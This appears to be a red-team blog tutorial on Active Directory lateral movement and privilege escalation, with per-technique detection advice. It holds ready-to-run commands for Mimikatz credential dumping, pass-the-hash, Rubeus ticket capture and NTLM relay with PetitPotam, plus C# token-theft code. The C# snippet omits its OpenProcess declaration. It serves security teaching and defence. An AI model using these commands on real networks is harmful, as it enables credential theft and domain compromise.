Active Directory Attack Paths

Comprehensive Guide to AD Privilege Escalation Techniques

Active Directory Attack Paths: A Red Team Guide

Jan 15, 2025•Azrael Security Research•12 min read

Active DirectoryRed TeamLateral MovementPrivilege Escalation

Introduction

Active Directory environments are the crown jewels of most enterprise networks, making them prime targets for red team operations. Understanding the various attack paths available in AD environments is crucial for both offensive and defensive security professionals.

This comprehensive guide explores the most effective techniques for lateral movement and privilege escalation in Active Directory environments. We'll cover both well-known techniques and advanced methods that can help red teams achieve their objectives while staying under the radar.

What you'll learn: Advanced lateral movement techniques, privilege escalation methods, detection evasion strategies, and defensive countermeasures to protect your AD environment.

Attack Chain Visualization

🎯

Initial Access

Phishing, Exploits, Credential Theft

→

🔄

Lateral Movement

Pass-the-Hash, Token Manipulation

→

⬆️

Privilege Escalation

Kerberos Delegation, NTLM Relay

→

👑

Domain Admin

Full Domain Compromise

Pass-the-Hash

Pass-the-Hash (PtH) is one of the most well-known lateral movement techniques in Active Directory environments. It allows attackers to authenticate to remote systems using NTLM hashes instead of plaintext passwords.

This technique is particularly effective because it doesn't require password cracking and can be used even when the original password has been changed, as long as the hash remains valid.

Implementation

Pass-the-Hash Attack Example

powershell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Pass-the-Hash Attack Example
# This demonstrates how to use captured NTLM hashes for lateral movement
 
# 1. Capture NTLM hashes using tools like Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
 
# 2. Use the captured hash for lateral movement
# Using pth-winexe (Linux)
pth-winexe -U DOMAIN/user%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 //target-ip cmd
 
# Using Invoke-TheHash (PowerShell)
Import-Module Invoke-TheHash
Invoke-WMIExec -Target 192.168.1.100 -Username DOMAIN\user -Hash aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 -Command "whoami"
 
# 3. Alternative using CrackMapExec
crackmapexec smb 192.168.1.0/24 -u user -H aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 --shares

Detection Methods

Event Logs

• Event ID 4624 (Successful logon)
• Event ID 4625 (Failed logon)
• Look for NTLM authentication patterns
• Monitor for unusual logon types

Network Monitoring

• Monitor SMB authentication traffic
• Look for NTLM hash usage patterns
• Analyze authentication timing
• Check for lateral movement indicators

Token Manipulation

Token manipulation involves stealing or duplicating access tokens from other processes to gain their privileges. This technique is particularly effective for privilege escalation and lateral movement.

Windows access tokens contain security information about a user's identity and privileges. By manipulating these tokens, attackers can impersonate other users or elevate their privileges.

Implementation

Token Manipulation in C#

csharp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// Token Manipulation in C#
// This example shows how to manipulate access tokens for privilege escalation
 
using System;
using System.Runtime.InteropServices;
 
public class TokenManipulation
{
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
    
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool DuplicateToken(IntPtr ExistingTokenHandle, int ImpersonationLevel, out IntPtr DuplicateTokenHandle);
    
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
    
    public static void StealToken(int processId)
    {
        IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);
        IntPtr hToken;
        
        if (OpenProcessToken(hProcess, 0x0002, out hToken))
        {
            IntPtr hDupToken;
            if (DuplicateToken(hToken, 2, out hDupToken))
            {
                if (ImpersonateLoggedOnUser(hDupToken))
                {
                    Console.WriteLine("[+] Successfully impersonated token");
                    // Now running with stolen privileges
                }
            }
        }
    }
}

Detection Methods

Detection Challenges

Token manipulation can be difficult to detect as it often appears as normal process behavior. Look for unusual process relationships and privilege escalation patterns.

Process Monitoring

• Monitor for unusual process relationships
• Check for token duplication events
• Look for privilege escalation patterns
• Analyze process creation chains

Behavioral Analysis

• Monitor for sudden privilege changes
• Check for unusual authentication patterns
• Analyze process memory access
• Look for API hooking indicators

Kerberos Delegation Abuse

Kerberos delegation allows a service to impersonate a user to access other services on their behalf. When misconfigured, this can be abused for privilege escalation and lateral movement.

Unconstrained delegation is particularly dangerous as it allows a service to impersonate users to any service in the domain, potentially leading to domain compromise.

Implementation

Kerberos Delegation Abuse

powershell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Kerberos Delegation Abuse
# This demonstrates how to abuse unconstrained delegation
 
# 1. Check for unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties TrustedForDelegation, TrustedToAuthForDelegation
 
# 2. If we have admin access to a machine with unconstrained delegation
# We can capture TGTs from users who authenticate to that machine
 
# 3. Using Rubeus to monitor for TGTs
Rubeus.exe monitor /interval:5 /filteruser:target-user
 
# 4. Once we capture a TGT, we can use it
Rubeus.exe ptt /ticket:[base64-ticket]
 
# 5. Now we can access resources as the delegated user
dir \\target-server\c$

Detection Methods

AD Configuration

• Audit delegation settings regularly
• Check for unconstrained delegation
• Monitor delegation changes
• Review service account permissions

Kerberos Events

• Monitor Kerberos ticket requests
• Check for delegation ticket usage
• Look for unusual service requests
• Analyze ticket lifetime patterns

NTLM Relay

NTLM relay attacks intercept and relay NTLM authentication attempts to other systems, allowing attackers to authenticate as the victim user without knowing their password.

This technique is particularly effective in environments where NTLM authentication is still enabled, as it can lead to lateral movement and privilege escalation.

Implementation

NTLM Relay Attack Setup

bash

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# NTLM Relay Attack
# This demonstrates how to perform NTLM relay attacks
 
# 1. Set up the relay server using ntlmrelayx.py
python3 ntlmrelayx.py -tf targets.txt -smb2support
 
# 2. Trigger authentication (various methods)
# Method 1: Using PetitPotam
python3 PetitPotam.py -u username -p password -d domain.com relay-server target-dc
 
# Method 3: Using PrinterBug
python3 printerbug.py domain/username:password@target-server relay-server
 
# 3. Once relayed, we can execute commands
# The relay will automatically attempt to dump SAM, LSA secrets, etc.
 
# 4. Alternative using Responder + MultiRelay
# Start Responder
python3 Responder.py -I eth0
 
# Start MultiRelay
python3 MultiRelay.py -t target-ip -u ALL

Detection Methods

Critical Security Issue

NTLM relay attacks can be devastating if successful. Ensure SMB signing is enabled and consider disabling NTLM authentication where possible.

Network Security

• Enable SMB signing on all systems
• Monitor for relay attack patterns
• Check for unusual authentication flows
• Analyze network traffic patterns

Authentication Monitoring

• Monitor NTLM authentication events
• Check for authentication from unexpected sources
• Look for rapid authentication attempts
• Analyze authentication timing patterns

Detection & Mitigation

Monitoring Strategies

• SIEM Integration: Centralize security event monitoring
• Behavioral Analytics: Detect anomalous authentication patterns
• Network Monitoring: Analyze traffic for attack indicators
• Endpoint Detection: Monitor for suspicious process behavior

Defensive Tools

• Microsoft Defender: Advanced threat protection
• CrowdStrike Falcon: Endpoint detection and response
• BloodHound: AD attack path analysis
• Azure Sentinel: Cloud-native SIEM

Best Practices

Prevention

• Implement least privilege access
• Enable SMB signing
• Disable NTLM where possible
• Regular security assessments
• Patch management

Response

• Incident response procedures
• Forensic analysis capabilities
• Threat hunting programs
• Regular security training
• Continuous monitoring

Key Takeaways

Action Items for Defenders

• Audit AD configurations regularly for delegation and ACL issues
• Enable SMB signing and consider disabling NTLM authentication
• Implement least privilege access controls throughout the environment
• Monitor authentication events for unusual patterns and lateral movement
• Conduct regular red team exercises to test defensive capabilities

Summary

Active Directory attack paths represent some of the most sophisticated techniques in red team operations. Understanding these methods is crucial for both offensive and defensive security professionals. By implementing proper monitoring, access controls, and security practices, organizations can significantly reduce their attack surface and improve their security posture against these advanced threats.

Continue Reading

Reverse Engineering Notes

Writeups focused on reversing patterns, tooling, and verification steps.

Feb 20263 min

Reverse EngineeringWriteups

Kernel Exploitation 101

Introduction to kernel-level exploitation and privilege escalation techniques.

Jan 5, 202515 min

KernelExploitationPrivilege Escalation

Active Directory Enumeration Techniques

Comprehensive guide to enumerating Active Directory environments for red team operations.

Dec 28, 202412 min

Active DirectoryEnumerationReconnaissance

👨‍💻

Darrius Grate

Red Team Security Researcher

Press ESC to return home

Active Directory Attack Paths

Table of Contents

Introduction

Attack Chain Visualization

Initial Access

Lateral Movement

Privilege Escalation

Domain Admin

Pass-the-Hash

Implementation

Pass-the-Hash Attack Example

Detection Methods

Event Logs

Network Monitoring

Token Manipulation

Implementation

Token Manipulation in C#

Detection Methods

Detection Challenges

Process Monitoring

Behavioral Analysis

Kerberos Delegation Abuse

Implementation

Kerberos Delegation Abuse

Detection Methods

AD Configuration

Kerberos Events

NTLM Relay

Implementation

NTLM Relay Attack Setup

Detection Methods

Critical Security Issue

Network Security

Authentication Monitoring

Detection & Mitigation

Monitoring Strategies

Defensive Tools

Best Practices

Prevention

Response

Key Takeaways

Action Items for Defenders

Summary

Continue Reading

Reverse Engineering Notes

Kernel Exploitation 101

Active Directory Enumeration Techniques

Darrius Grate